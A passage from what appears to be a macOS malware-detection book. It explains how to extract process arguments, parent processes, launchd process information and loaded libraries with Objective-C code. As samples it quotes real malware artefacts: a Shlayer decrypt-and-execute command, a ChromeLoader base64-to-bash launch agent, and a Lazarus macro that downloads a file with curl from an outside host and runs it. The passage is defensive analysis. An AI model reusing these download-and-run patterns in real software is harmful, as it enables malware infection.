will gracefully fail.

Process Arguments
Extracting and examining the arguments of each running process can shed 
valuable light on the actions of the process. They might also seem suspi-
cious in their own right. An installer for the notorious Shlayer malware pro-
vides an illustrative example. It executes a bash shell with these arguments:

"tail -c +1381 \"/Volumes/Install/Installer.app/Contents/Resources/main.png\" |
openssl enc -aes-256-cbc -salt -md md5 -d -A -base64 -out /tmp/ZQEifWNV2l -pass
\"pass:0.6effariGgninthgiL0.6\" && chmod 777 /tmp/ZQEifWNV2l ... && rm -rf /tmp/ZQEifWNV2l"

These arguments instruct bash to execute various shell commands 
that extract bytes from a file masquerading as an image named main.png, 
decrypt them to a binary named ZQEifWNV2l, then execute and delete this 
binary. Though bash itself is not malicious, the programmatic extraction of 
encrypted, executable contents from a .png file indicates that something sus-
picious is afoot; installers don’t normally perform such obtusely obfuscated 
actions. We’ve also gained insight into the activities the installer takes.

Another example of a program with clearly suspicious arguments is 
Chropex, also known as ChromeLoader.5 This malware installs a launch 
agent to persistently execute Base64-encoded commands. A report from 
CrowdStrike6 shows an example of a Chropex launch agent, with a snippet 
reproduced here:

<key>ProgramArguments</key>
<array>
    <string>sh</string>
    <string>-c</string>
    <string>echo aWYgcHMg ... Zmk= | base64 --decode | bash</string>
</array>
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The last argument string, beginning with echo, consists of an encoded 
blob and a command to decode and then execute it via bash. It goes with-
out saying that such an argument is unusual and a symptom that something 
is amiss (for example, that the system is persistently infected with malware). 
Once a detection program encounters this launch agent and extracts its 
very suspicious arguments, the program should raise a red flag.

As I mentioned earlier, extracting a program’s runtime arguments may 
provide insight into its functionality. For example, a surreptitious crypto-
currency miner found in the official Mac App Store masqueraded as an 
innocuous Calendar application (Figure 1-1).

Figure 1-1: An innocuous calendar application, or something else?

To see that this app does more than meets the eye, we can examine 
process arguments. When the Calendar 2 application, CalendarFree.app, 
was executed, it would spawn a an embedded child program from within 
the Coinstash_XMRSTAK framework named xmr-stak with the following 
arguments:

"--currency",
"monero",
"-o",
"pool.graft.hashvault.pro:7777",
"-u",
"G81Jc3KHStAWJjjBGzZKCvEnwCeRZrHkrUKj ... 6ophndAuBKuipjpFiizVVYzeAJ",
"-p",
"qbix:greg@qbix . com",
...

Based on values like "--currency" and "monero", even casual readers should 
be able to tell that xmr-stak is a cryptocurrency miner. Although xmr-stak is a 
legitimate command line application, its surreptitious deployment via a free 
Calendar application hosted on Apple’s Mac App Store crosses a line.
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N O T E  After I published a detailed blog post about this application,7 Apple removed the app 
and updated the App Store’s Terms and Conditions to explicitly ban on-device mining.8

Finally, extracting a process’s arguments can aid you if you decide the 
process is suspicious and requires further analysis. For example, in early 
2023, I discovered a malicious updater with ties to the prolific Genieo mal-
ware family that had remained undetected for almost five years.9 It turns 
out, though, that the persistent updater, named iWebUpdate, won’t execute 
its core logic unless it’s invoked with the correct arguments (such as update, 
along with C= and then a client identifier).

This means that if you’re attempting to analyze the iWebUpdate binary 
in a debugger and execute it without the expected arguments, it will simply 
exit. While static analysis methods such as reverse engineering could reveal 
these required arguments, it’s far simpler to extract them from the persis-
tently running updater process on an infected system.

So, how do you retrieve the arguments of an arbitrary process? One 
way is via the sysctl API invoked with KERN_PROCARGS2. The enumerateProcesses 
project takes this approach in the aptly named getArguments function. Given 
an arbitrary process ID, this function will extract and return its arguments. 
The function is rather involved, so I’ll break it into sections, starting with 
the calls to the sysctl API (Listing 1-7).

int mib[3] = {0};
int systemMaxArgs = 0;

size_t size = sizeof(systemMaxArgs);

mib[0] = CTL_KERN;
mib[1] = KERN_ARGMAX;

1 sysctl(mib, 2, &systemMaxArgs, &size, NULL, 0);

2 char* arguments = malloc(systemMaxArgs);

Listing 1-7: Allocating a buffer for process arguments

This API requires an output buffer to hold the process arguments, so 
we first invoke it with KERN_ARGMAX to determine their maximum size 1. Here, 
we specify this information in a management information base (MIB) array, 
whose number of elements are also passed as an argument to sysctl. Then we 
allocate a buffer of the correct size 2.

With the buffer allocated, we can now reinvoke the sysctl API. First, 
though, we reinitialize the MIB array with values such as KERN_PROCARGS2 
and the ID of the process whose arguments we’re interested in obtaining 
(Listing 1-8).

size = (size_t)systemMaxArgs;

mib[0] = CTL_KERN;
mib[1] = KERN_PROCARGS2;
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mib[2] = processID;

sysctl(mib, 3, arguments, &size, NULL, 0);

Listing 1-8: Retrieving a process’s arguments

After this call, the buffer will contain the process arguments, among 
other things. Table 1-1 describes the structure of the buffer.

Table 1-1: The Format of a KERN_PROCARGS2 Buffer

Number of arguments Process path Arguments

int argc <full path of process> char* argv[0], argv[1], and so on

First, we can extract the number of arguments (traditionally called 
argc). You can skip over the process path to get to the beginning of the 
arguments (traditionally called argv), unless you have been unable to obtain 
the process path in another way. Each argument is NULL terminated, making 
extraction straightforward. The code in Listing 1-9 shows how to do this by 
saving each argument as a string object in an array. Note that the arguments 
variable is the now-populated buffer passed to the sysctl API in Listing 1-9.

int numberOfArgs = 0; 
NSMutableArray* extractedArguments = [NSMutableArray array];

1 memcpy(&numberOfArgs, arguments, sizeof(numberOfArgs));
2 parser = arguments + sizeof(numberOfArgs);

3 while(NULL != *++parser);
4 while(NULL == *++parser);

while(extractedArguments . count < numberOfArgs) {
  5 [extractedArguments addObject:[NSString stringWithUTF8String:parser]];
    parser += strlen(parser) + 1;
}

Listing 1-9: Parsing process arguments

The code first extracts the number of arguments (found at the start of 
the argument’s buffer) 1. Then it skips over this value 2, the bytes of the 
path 3, and any trailing NULL bytes 4. Now the parser pointer is at the start 
of the actual arguments (argv), which the code extracts one by one 5. It’s 
worth noting that the first argument, argv[0], will always be the program 
path unless the process has surreptitiously modified itself.

If we execute the enumerateProcesses project, it should display the follow-
ing information when it encounters the aforementioned xmr-stak process 
(shown here with a process ID of 14026), which surreptitiously mines cryp-
tocurrency if an unsuspecting user has launched CalendarFree.app:

% ./enumerateProcesses
...
(14026):/Applications/CalendarFree.app/Contents/Frameworks/
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Coinstash_XMRSTAK.framework/Resources/xmr-stak
...
arguments: (
"/Applications/CalendarFree.app/Contents/Frameworks/Coinstash_XMRSTAK.
framework/Resources/xmr-stak″,
"--currency",
"monero",
"-o",
"pool.graft.hashvault.pro:3333",
"-u",
"G81Jc3KHStAWJjjBGzZKCvEnwCeRZrHkrUKji9NSDLtJ6Evhhj43DYP7dMrYczz5KYjfw
6ophndAuBKuipjpFiizVVYzeAJ",
"-p",
"qbix:greg@qbix . com",
...
)

It’s rather unusual for a process to be launched with such extensive argu-
ments. Additionally, these arguments clearly allude to the fact that the pro-
cess is a cryptocurrency miner. We can bolster this conclusion with the fact 
that its parent, CalendarFree.app, consumes massive amounts of CPU power, as 
you’ll see later in this chapter.

Process Hierarchies
Process hierarchies are the relationships between processes (for example, 
between a parent and its children). When detecting malware, you’ll need an 
accurate representation of these relationships for several reasons. First, pro-
cess hierarchies can help you detect initial infections. Process hierarchies 
can also reveal difficult-to-detect malware that is leveraging system binaries 
in a nefarious manner.

Let’s look at an example. In 2019, the Lazarus advanced persistent 
threat (APT) group was observed using macro-laden Office documents  
to target macOS users. If a user opened the document and allowed the  
macros to run, the code would download and execute malware known as 
Yort. Here is a snippet of the macro used in the attack:

sur = "https:// nzssdm . com / assets / mt .dat"
spath = "/tmp/": i = 0

Do
    spath = spath & Chr(Int(Rnd * 26) + 97)
    i = i + 1
Loop Until i > 12
spath = spath

1 res = system("curl -o " & spath & " " & sur)
2 res = system("chmod +x " & spath)
3 res = popen(spath, "r")
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As the macro code isn’t obfuscated, it is easy to understand. After 
downloading a file from https://nzssdm.com/assets/mt.dat to the /tmp directory  
via curl 1, it sets permissions to executable 2 and then executes the down-
loaded file, mt.dat 3. Figure 1-2 illustrates this attack from the perspective 
of a process hierarchy.

/Applications/Word.app

Process identifier: 1000

Parent

/usr/bin/curl

Process identifier: 1001

/bin/chmod

Process identifier: 1002

Process identifier: 1001
Parent process identifier: 1000

Parent process identifier: 1000

Child

Child

/tmp/<path to malware>

Process identifier: 1003
Parent process identifier: 1000

Child

Figure 1-2: A simplified process hierarchy of a Lazarus  
group attack

Although this diagram is slightly simplified (omitting forks and using 
symbolic values for process IDs), it accurately depicts the fact that curl, 
chmod, and the malware all appear as child processes of Microsoft Word. Do 
Word documents normally spawn curl to download and launch binaries? 
Of course not! Even if you can’t tell what exactly these child processes are 
doing, the fact that an Office document spawns them is a clear indicator of 
an attack. Moreover, without a process hierarchy, detecting this aspect of 
the infection would be relatively difficult, as curl and chmod are legitimate 
system binaries.10

Finding the Parent
Process hierarchies are built from the child up, through the parent, grand-
parent, and so on. At face value, we can easily generate a hierarchy for a 
given process via the e_ppid member of its kp_eproc structure, found in the 
kinfo_proc structure. These structures, found in sys/sysctl.h, are shown here:
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struct kinfo_proc {
    struct  extern_proc kp_proc;    /* proc structure */
    struct  eproc {
        struct  proc* e_paddr;      /* address of proc */
        ...
        pid_t   e_ppid;             /* parent process id */
        ...
    } kp_eproc;
};

The e_ppid is the parent process ID, and we can extract it via the 
sysctl API, as in the getParent function in the enumerateProcesses project 
(Listing 1-10).

pid_t parent = -1;

struct kinfo_proc processStruct = {0};
size_t procBufferSize = sizeof(processStruct);

int mib[4] = {CTL_KERN, KERN_PROC, KERN_PROC_PID, processID};

sysctl(mib, 4, &processStruct, &procBufferSize, NULL, 0);
parent = processStruct.kp_eproc.e_ppid;

Listing 1-10: Extracting a parent’s process ID

The code first initializes various arguments, including an array with val-
ues that instruct the system to return information about a specified process. 
The sysctl API will fulfill this request, returning a populated kinfo_proc 
structure. We then extract the process’s parent ID from it.

Here is the output from enumerateProcesses when it encounters the 
instance of curl spawned by a malicious document:

% ./enumerateProcesses
...
(2286):/usr/bin/curl
...
parent: /Applications/Microsoft Word.app/Contents/MacOS/Microsoft Word (2283)

The code was readily able to identify the parent process as Microsoft Word.
Unfortunately, the process hierarchies built using this e_ppid value 

often aren’t this useful because the value often reports a parent process ID 
of 1, which maps to launchd, the process tasked with starting each and every 
process. To observe this behavior, launch an application such as Calculator 
via Spotlight, Finder, or the Dock. Then use the ps utility with the ppid com-
mand line, passing it the process’s ID. You should see that its parent ID (PPID) 
is, in fact, 1:

% ps aux
USER     PID  ... COMMAND
Patrick  2726 ... /System/Applications/Calculator.app/Contents/MacOS/Calculator
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% ps aux -o ppid 2726
USER      PID     ...    PPID
Patrick   27264   ...    1

The enumerateProcesses utility reports the same rather unhelpful 
information:

% ./enumerateProcesses
...
(2726):/System/Applications/Calculator.app/Contents/MacOS/Calculator
...
parent: (1) launchd

Although launchd technically is the parent, it doesn’t give us the infor-
mation we need to detect malicious activity. We’re more interested in the 
process responsible for starting the child.

Returning the Process Responsible for Spawning Another
To return the process responsible for spawning another process, we can 
leverage a private Apple API, responsibility_get_pid_responsible_for_pid. It 
takes a process ID and returns the parent it deems responsible for the child. 
Though the internals of this private API are beyond the scope of this dis-
cussion, it essentially queries the kernel, which maintains a record of the 
responsible parent within an internal process structure.

As it’s not a public API, we must dynamically resolve it using the dlsym API. 
Listing 1-11, from the getResponsibleParent function in the enumerateProcesses 
project, shows the code that implements this task.

#import <dlfcn.h>

pid_t getResponsibleParent(pid_t child) {
    pid_t (*getRPID)(pid_t pid) =
    dlsym(RTLD_NEXT, "responsibility_get_pid_responsible_for_pid");
    ...

Listing 1-11: Dynamically resolving a private function

This code resolves the function by name, storing the result into a func-
tion pointer named getRPID. Because this function takes a pid_t as its only 
argument and returns the responsible process ID as a pid_t as well, you can 
see the function pointer declared as pid_t (*getRPID)(pid_t pid). 

After checking to make sure the function was indeed found, we can 
invoke it via the function pointer, as shown in Listing 1-12.

if(NULL != getRPID) {
    pid_t parent = getRPID(child);
}

Listing 1-12: Invoking a resolved function



Examining Processes   17

Now, when enumerateProcesses encounters a child process, such as one of 
Safari’s XPC Web Content renders (shown as Safari Web Content or com.apple 
.WebKit.WebContent), the code in enumerateProcesses looks up both the parent 
and the responsible process:

% ./enumerateProcesses
...
(10540)/System/Library/Frameworks/WebKit.framework/Versions/A/
XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/
com.apple.WebKit.WebContent
...
parent: (1) launchd
responsible parent: (8943) Safari

It accomplishes the former by checking the process’s e_ppid and the lat-
ter by calling the responsibility_get_pid_responsible_for_pid API. In this case, 
the responsible process provides more context and so is more valuable for 
building accurate process hierarchies.

Unfortunately, for user-launched applications (which could include 
malware), this responsible parent may simply be the process itself. To see 
this, launch the Calculator application by double-clicking its application 
icon in Finder. Then run enumerateProcesses once again:

% ./enumerateProcesses
...
(2726):/System/Applications/Calculator.app/Contents/MacOS/Calculator
...
parent: (1) launchd
responsible parent: (2726) Calculator

Rather unhelpfully, the utility identifies the responsible parent as 
Calculator itself. Luckily, there is one more place we can look for this 
 information, though we must step back in time.

Retrieving Information with Application Services APIs
Although officially deprecated, Apple’s Application Services APIs function 
on the latest versions of macOS, and various Apple daemons still use them. 
The Process InformationCopyDictionary Application Services API returns a dic-
tionary containing a host of information, including a process’s true parent.

Rather than taking a process ID as an argument, this API takes a process 
serial number (psn). Process serial numbers are a predecessor to the more 
familiar process IDs. The process serial type is ProcessSerialNumber, which 
is defined in include/MacTypes.h. To retrieve a process serial number from a 
given process ID, use the GetProcessForPID function, as shown in Listing 1-13.

#import <AppKit/AppKit.h> 
pid_t pid = <some process id>;

ProcessSerialNumber psn = {kNoProcess, kNoProcess};
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GetProcessForPID(pid, &psn);

printf("Process Serial Number (high, low): %d %d\n", psn.highLongOfPSN, psn.lowLongOfPSN);

Listing 1-13: Retrieving a process’s serial number

The function takes a process ID and an out pointer to a ProcessSerial 
Number, which it populates with the process’s serial number.

You can find the logic to retrieve a parent ID via a serial number in a 
 function named getASParent in the enumerateProcesses project. Listing 1-14  
contains a snippet of this function, which also shows it invoking the 
ProcessInformationCopyDictionary function to obtain information about the 
specified process.

NSDictionary* processInfo = nil;
ProcessSerialNumber psn = {kNoProcess, kNoProcess};

GetProcessForPID(pid, &psn);

processInfo = CFBridgingRelease(ProcessInformationCopyDictionary(&psn,
(UInt32)kProcessDictionaryIncludeAllInformationMask));

Listing 1-14: Obtaining a process’s information dictionary

One thing to keep in mind is that older APIs that return CoreFoundation 
objects do not use automatic reference counting (ARC). This means that 
you have to explicitly instruct the runtime on how to manage objects to 
avoid memory leaks. Here, this means that the returned process informa-
tion dictionary from the call to ProcessInformationCopyDictionary must be 
either explicitly released via a call to CFRelease or bridged into an NSDictionary 
object and released into ARC via a call to CFBridgingRelease. The code opts 
for the latter option, as working with NS* objects is easier than working with 
the older CF* objects and avoids having to explicitly free the memory.

After we’ve bridged the CFDictionaryRef dictionary into an NSDictionary 
object, we can directly access its key-value pairs, including the process’s par-
ent. The parent’s process serial number is found in the ParentPSN key. As its 
type is kCFNumberLongLong (long long), you must reconstruct the process serial 
number manually (Listing 1-15).

ProcessSerialNumber ppsn = {kNoProcess, kNoProcess};

ppsn.lowLongOfPSN = [processInfo[@"ParentPSN"] longLongValue] & 0x00000000FFFFFFFFLL;
ppsn.highLongOfPSN = ([processInfo[@"ParentPSN"] longLongValue] >> 32) & 0x00000000FFFFFFFFLL;

Listing 1-15: Reconstructing a parent’s process serial number

Once we have the parent’s process serial number, we can retrieve details 
about it by reinvoking the ProcessInformationCopyDictionary API (this time, of 
course, with the parent’s process serial number). This provides us with its 
process ID, path, name, and more. Here, we’re most interested in a process 
ID, which we can find within a key named pid.
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It’s worth noting that obtaining a process serial number will fail for 
system or background processes. Production code should account for this 
case by, for example, checking the return value of GetProcessForPID or see-
ing whether the ParentPSN key is nonexistent or contains a value of zero. 
Additionally, Application Services APIs should not be invoked from back-
ground processes, such as daemons or system extensions.

Recall that when we launched Calculator, the previously discussed 
methods failed to ascertain its true parent (instead returning launchd or 
itself). How does the Application Services APIs’ approach fare? First, let’s 
return to the instance of Calculator launched via Finder:

% ./enumerateProcesses
...
(2726):/System/Applications/Calculator.app/Contents/MacOS/Calculator
...
parent: (1) launchd
responsible parent: (2726) Calculator
application services parent: (21264) Finder

Success! The code now correctly identifies Finder as the process that 
instigated the Calculator app’s launch. Similarly, if Calculator is launched 
via the Dock or Spotlight’s search bar, the code will be able to identify each 
of these as well.

You might be wondering why this section discussed so many different 
methods of determining the most useful parent of a process. This is because 
none of the methods are foolproof, so you’ll often need to combine them. 
To start, using the Application Services APIs seems to produce the most rel-
evant results. However, calls to GetProcessForPID can fail for certain processes. 
In this case, it’s wise to fall back on responsibility_get_pid_responsible_for_pid. 
But, as you saw, this can sometimes return a parent that is the process itself, 
which isn’t helpful. In that case, you may want to fall back on the good old 
e_ppid. And though that often just reports the parent as launchd, it works in 
many other cases. For example, in the Lazarus attack discussed earlier, it 
correctly identified Word as curl’s parent.11

Environment Information
Now that you know how to generate a true process tree, let’s look at how to 
gather information about a process’s environment. You may be familiar with 
one way to do this: using the launchctl utility, which has a procinfo command 
line option that returns a process’s arguments, code signing information, 
runtime environment, and more. Though earlier we discussed other methods 
for gathering some of this information, launchctl can provide an additional 
source and includes information unavailable through other methods.

Unfortunately, launchctl is not open source, nor are its internals docu-
mented. In this section, we reverse engineer the procinfo option and reimple-
ment its logic in our own tools to retrieve information about any process. 
You’ll find this open source implementation in this chapter’s procInfo project.
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N O T E  The code in this section was inspired by research from Jonathan Levin.12 I’ve updated 
his approach for newer versions of macOS.

Before we walk through the code found in the procInfo project, let’s sum-
marize the approach: we have to make a call to the launchd bootstrap pipe 
using the private xpc_pipe_interface_routine function. Invoking this function 
with ROUTINE_DUMP_PROCESS (0x2c4) and an XPC dictionary containing both the 
process ID of the target process and a shared-memory out buffer will return 
the process information you seek. The code first declares several variables 
needed to make the XPC query (Listing 1-16).

xpc_object_t procInfoRequest = NULL;
xpc_object_t sharedMemory = NULL;
xpc_object_t __autoreleasing response = NULL;

int result = 0;
int64_t xpcError = 0;
void* handle = NULL;
uint64_t bytesWritten = 0;
vm_address_t processInfoBuffer = 0;

static int (*xpc_pipe_interface_routine_FP)
1 (xpc_pipe_t, int, xpc_object_t, xpc_object_t*, int) = NULL;

2 struct xpc_global_data* globalData = NULL;
3 size_t processInfoLength = 0x100000;

Listing 1-16: Declaring required variables

These variables include, among others, a function pointer (which will 
later hold the address of the private xpc_pipe_interface_routine) 1, a pointer 
to a global XPC data structure 2, and a length extracted from reversing 
launchctl 3.

We then create a shared memory object via a call to the xpc_shmem_create 
API. The XPC call will populate this with information about the target pro-
cess we’re querying (Listing 1-17).

vm_allocate(mach_task_self(), &processInfoBuffer,
processInfoLength, VM_FLAGS_ANYWHERE|VM_FLAGS_PURGABLE);

sharedMemory = xpc_shmem_create((void*)processInfoBuffer, processInfoLength);

Listing 1-17: Creating a shared memory object

Next, we create and initialize an XPC dictionary. This dictionary must 
contain the ID of the process we’re querying, as well as the shared memory 
object we’ve just created (Listing 1-18).



Examining Processes   21

pid_t pid = <some process id>;
procInfoRequest = xpc_dictionary_create(NULL, NULL, 0);

xpc_dictionary_set_int64(procInfoRequest, "pid", pid);
xpc_dictionary_set_value(procInfoRequest, "shmem", sharedMemory);

Listing 1-18: Initializing an XPC request dictionary

The code then retrieves a global data object of type xpc_global_data* 
from the os_alloc_once_table array (Listing 1-19).

struct xpc_global_data
{
    uint64_t a;
    uint64_t xpc_flags;
    mach_port_t task_bootstrap_port;
    xpc_object_t xpc_bootstrap_pipe;
};

struct _os_alloc_once_s
{
    long once;
    void* ptr;
};

extern struct _os_alloc_once_s _os_alloc_once_table[];

globalData = (struct xpc_global_data*)_os_alloc_once_table[1].ptr;

Listing 1-19: Extracting global data

This object contains an XPC pipe (xpc_bootstrap_pipe) that is required 
for calls to the xpc_pipe_interface_routine function. Because this function is 
private, we must dynamically resolve it from the libxpc library (Listing 1-20).

#import <dlfcn.h>
...
handle = dlopen("/usr/lib/system/libxpc.dylib", RTLD_LAZY);
xpc_pipe_interface_routine_FP = dlsym(handle, "_xpc_pipe_interface_routine");

Listing 1-20: Resolving a function pointer

Finally, we’re prepared to make the XPC request. As noted, we use the 
xpc_pipe_interface_routine function, which takes arguments such as the XPC 
bootstrap pipe, a routine (such as ROUTINE_DUMP_PROCESS), and a request dic-
tionary containing specific routine information such as a process ID and a 
shared memory buffer for the routine’s output (Listing 1-21).

#define ROUTINE_DUMP_PROCESS 0x2c4

result = xpc_pipe_interface_routine_FP((__bridge xpc_pipe_t)(globalData->xpc_bootstrap_pipe),
ROUTINE_DUMP_PROCESS, procInfoRequest, &response, 0x0);

Listing 1-21: Requesting process information via XPC
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If this request succeeds, meaning the result is zero and the response dic-
tionary passed into xpc_pipe_interface_routine does not contain the key error, 
then the response dictionary will contain a key-value pair with the key bytes 
-written. Its value is the number of bytes written to the allocated buffer we’ve 
added to the shared memory object. We extract this value in Listing 1-22.

bytesWritten = xpc_dictionary_get_uint64(response, "bytes-written");

Listing 1-22: Extracting the size of the response data

Now we can directly access the buffer, for example, to create a string 
object containing the entirety of the target process’s information 
(Listing 1-23).

NSString* processInfo = [[NSString alloc] initWithBytes:(const void*)
processInfoBuffer length:bytesWritten encoding:NSUTF8StringEncoding];

printf("process info (pid: %d): %s\n",
atoi(argv[1]), processInfo.description.UTF8String);

Listing 1-23: Converting process information into a string object

Although we’ve converted this information into a string object, it’s all 
lumped together, so we’ll still have to manually parse relevant pieces. This 
process isn’t covered here, but you can consult the procInfo project, which 
extracts the data into a dictionary of key-value pairs.

The information returned from launchd contains a myriad of useful 
details! To illustrate this, run procInfo against DazzleSpy’s persistent compo-
nent, which is installed as ~/.local/softwareupdate and, in this instance, is run-
ning with a process ID of 16776:

% ./procInfo 16776
process info (pid: 16776): {
    active count = 1
    path = /Users/User/Library/LaunchAgents/com.apple.softwareupdate.plist
    state = running

    program = /Users/User/.local/softwareupdate
    arguments = {
        /Users/User/.local/softwareupdate
        1
    }

    inherited environment = {
        SSH_AUTH_SOCK =>
        /private/tmp/com.apple.launchd.kEoOvPmtt1/Listeners
    }

    default environment = {
        PATH => /usr/bin:/bin:/usr/sbin:/sbin
    }
    environment = {
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        XPC_SERVICE_NAME => com.apple.softwareupdate
    }

    domain = gui/501 [100005]
    ...
    runs = 1
    pid = 16776
    immediate reason = speculative
    forks = 0
    execs = 1

    spawn type = daemon (3)

    properties = partial import | keepalive | runatload |
    inferred program | system service | exponential throttling
}

This process information, gathered via a single XPC call, can confirm 
knowledge obtained from other sources and provide new details. For exam-
ple, if you query a launch agent or daemon such as DazzleSpy, the path key 
in the process information response will contain the property list respon-
sible for spawning the item:

path = /Users/User/Library/LaunchAgents/com.apple.softwareupdate.plist

We can confirm this fact by manually examining the reported property 
list (which, for DazzleSpy, was com.apple.softwareupdate.plist) and noting that 
the path specified does indeed point back to the malware’s binary:

<?xml version="1.0" encoding="UTF-8"?>
...
<plist version="1.0">
<dict>
    <key>KeepAlive</key>
    <true/>
    <key>Label</key>
    <string>com.apple.softwareupdate</string>
    <key>ProgramArguments</key>
    <array>
        <string>/Users/User/.local/softwareupdate</string>
        <string>1</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
    <key>SuccessfulExit</key>
    <true/>
</dict>
</plist>

Having a means of tracing a process ID back to the launch item prop-
erty list that triggered its spawning is quite useful. Why? Well, to achieve 
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persistence, the majority of malware installs itself as a launch item. Though 
legitimate software also persists in this manner, these launch items are all 
worth examining, as you have a good chance of finding any persistently 
installed malware among them.

Code Signing
In a nutshell, code signing can prove who created an item and verify that it 
hasn’t been tampered with. Any detection algorithm attempting to classify a 
running process as malicious or benign should thus extract this code sign-
ing information. You should closely examine unsigned processes and those 
signed in an ad hoc manner, because these days, the vast majority of legiti-
mate programs you’ll find running on macOS are both signed and notarized.

Speaking of validly signed processes, those belonging to well-known soft-
ware developers are most likely benign (supply chain attacks aside). Moreover, 
if Apple proper has signed a process, it won’t be malware (although, as we’ve 
seen, malware could leverage Apple binaries to perform malicious actions, 
as in the case of the Lazarus group’s use of curl to download additional mali-
cious payloads).

Due to its importance, an entire chapter is dedicated solely to the topic of 
code signing. In Chapter 3, we discuss the topic comprehensively, applying it 
to running processes as well as to items such as disk images and packages.

Loaded Libraries
When attempting to uncover malware by analyzing running processes, you 
must also enumerate any loaded libraries. Stealthy malware, such as ZuRu, 
doesn’t spawn a stand-alone process, but rather is loaded into a subverted, 
although otherwise legitimate, one. In this case, the process’s main execut-
able binary will be benign, though modified to reference the malicious 
library to ensure it is loaded.

Even if the malware does execute as a stand-alone process, you’ll still 
want to enumerate its loaded libraries for the following reasons:

•	 The malware may load additional malicious plug-ins, which you’ll likely 
want to scan or analyze.

•	 The malware may load legitimate system libraries to perform subversive 
actions. These can provide insight into the malware’s capabilities (for 
example, it might load the system framework used to interface with the 
mic or webcam).

Unfortunately, due to macOS security features, even signed, nota-
rized third-party security tools cannot directly enumerate loaded libraries. 
Luckily, there are indirect ways to do so using built-in macOS utilities such as 
vmmap. This tool possesses several Apple-only entitlements that allow it to read 
the memory of remote processes and provide a mapping that includes any 
loaded libraries.
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Run vmmap against the aforementioned ZuRu, which trojanizes a copy 
of the popular iTerm(2) application. It’s a good example, as its malicious 
logic is implemented solely in a dynamic library named libcrypto.2.dylib. 
We’ll execute vmmap with the -w flag so that it prints out the full path of 
ZuRu’s mapped libraries. The tool expects a process ID, so we provide it 
with ZuRu’s (here, 932):

% pgrep iTerm2
932

% vmmap -w 932
Process:         iTerm2 [932]
Path:            /Applications/iTerm.app/Contents/MacOS/iTerm2
...
==== Non-writable regions for process 932
REGION     START - END         DETAIL
__TEXT     102b2b000-103247000 /Applications/iTerm.app/Contents/MacOS/iTerm2
__LINKEDIT 103483000-103cb4000 /Applications/iTerm.app/Contents/MacOS/iTerm2
...
__TEXT     10da4d000-10da85000 /Applications/iTerm.app/Contents/Frameworks/libcrypto.2.dylib
__LINKEDIT 10da91000-10dacd000 /Applications/iTerm.app/Contents/Frameworks/libcrypto.2.dylib
...

In this abridged output, you can see mappings of the binary’s main 
image (iTerm2), as well as dynamic libraries such as the dynamic loader dyld 
and the malicious library libcrypto.2.dylib.

How did I determine that libcrypto.2.dylib was the malicious component? 
After noticing that Jun Bi, rather than the legitimate developer, had signed 
this copy of iTerm2, I compared a list of its loaded libraries with a list of the 
libraries loaded by the original application. There was only one difference: 
libcrypto.2.dylib. Static analysis confirmed that this anomalous library was 
indeed malicious.

Because we don’t possess the private Apple entitlements needed to read 
remote process memory (which includes all loaded libraries), we’ll simply 
execute vmmap and parse its output. Several of my Objective-See tools, such as 
TaskExplorer,13 take this approach. You can also find code that implements 
this process in a function named getLibraries in the enumerateProcesses project.

First, we need a helper function capable of executing an external binary 
and returning its output (Listing 1-24).

#define STDERR @"stdError"
#define STDOUT @"stdOutput"

#define EXIT_CODE @"exitCode"

NSMutableDictionary* execTask(NSString* binaryPath, NSArray* arguments) {
    NSTask* task = nil;
    NSPipe* stdOutPipe = nil;
    NSFileHandle* stdOutReadHandle = nil;
    NSMutableDictionary* results = nil;
    NSMutableData* stdOut = nil;
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    results = [NSMutableDictionary dictionary];
    task = [NSTask new];
  1 stdOutPipe = [NSPipe pipe];
    stdOutReadHandle = [stdOutPipe fileHandleForReading];
    stdOutData = [NSMutableData data];
  2 task.standardOutput = stdOutPipe;
    task.launchPath = binaryPath;

    if(nil != arguments) {
        task.arguments = arguments;
    }

    [task launch];

    while(YES == [task isRunning]) {
      3 [stdOutData appendData:[stdOutReadHandle readDataToEndOfFile]];
    }

    [stdOutData appendData:[stdOutReadHandle readDataToEndOfFile]];
    if(0 != stdOutData.length) {
      4 results[STDOUT] = stdOutData;
    }

    results[EXIT_CODE] = [NSNumber numberWithInteger:task.terminationStatus];

    return results;
}

Listing 1-24: Executing a task and capturing its output

The execTask function executes a task using the specified parameters 
via Apple’s NSTask API. It waits until the spawned task has completed and 
returns a dictionary containing various key-value pairs, including any 
output the command generated, to stdout. To capture the task’s output, 
the code initializes a pipe object (NSPipe) 1 and then sets it as the task’s 
standard output 2. When the task generates output, the code reads off the 
pipe’s file handle 3 and appends it to a data buffer. Once the task exits, 
any remaining output is read and the data buffer is saved into the results 
dictionary, which is returned to the caller 4.

The function’s caller, for example, getLibraries, can invoke it with a 
path to any binary, along with any arguments. If needed, we can convert its 
output into a string object (Listing 1-25).

pid_t pid = <some process id>;

NSMutableDictionary* results = execTask(@"/usr/bin/vmmap", @[@"-w", [[NSNumber
numberWithInt:pid] stringValue]]);

NSString* output = [[NSString alloc] initWithData:results[STDOUT]
encoding:NSUTF8StringEncoding];

Listing 1-25: Converting task output into a string object
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We can then parse the vmmap output in many ways, such as line by line or 
via regular expressions. Listing 1-26 shows one technique.

NSMutableArray* dylibs = [NSMutableArray array];

for(NSString* line in
[output componentsSeparatedByCharactersInSet:[NSCharacterSet newlineCharacterSet]]) {
    if(YES != [line hasPrefix:@"__TEXT"]) {
        continue;
    }
}

Listing 1-26: Parsing the output lines that start with __TEXT

Here, we search for lines that start with __TEXT, as all dynamically loaded 
libraries in the vmmap output start with memory regions of this type. These 
lines of data also contain the full path of the loaded library, which is what 
we’re really after. Listing 1-27 extracts these paths within the for loop shown 
in Listing 1-26.

NSRange pathOffset = {0};
NSString* token = @"SM=COW";

pathOffset = [line rangeOfString:token];
if(NSNotFound == pathOffset.location) {
    continue;
}

dylib = [[line substringFromIndex:pathOffset.location+token.length]
stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceCharacterSet]];

if(dylib != nil) {
    [dylibs addObject:dylib];
}

Listing 1-27: Extracting the dynamic library’s path

The code first looks for the copy-on-write share mode ("SM=COW"), which 
precedes the path. If found, then, using the offset following the share 
mode, it extracts the path itself. At this point, the dylibs array should con-
tain all dynamic libraries loaded by the target process.

Now let’s execute enumerateProcesses while running the same instance of 
ZuRu we saw earlier:

% ./enumerateProcesses
...
(932):/Applications/iTerm.app/Contents/MacOS/iTerm2
...
Dynamic libraries for process iTerm2 (932):
(
"/Applications/iTerm.app/Contents/MacOS/iTerm2",
"/usr/lib/dyld",
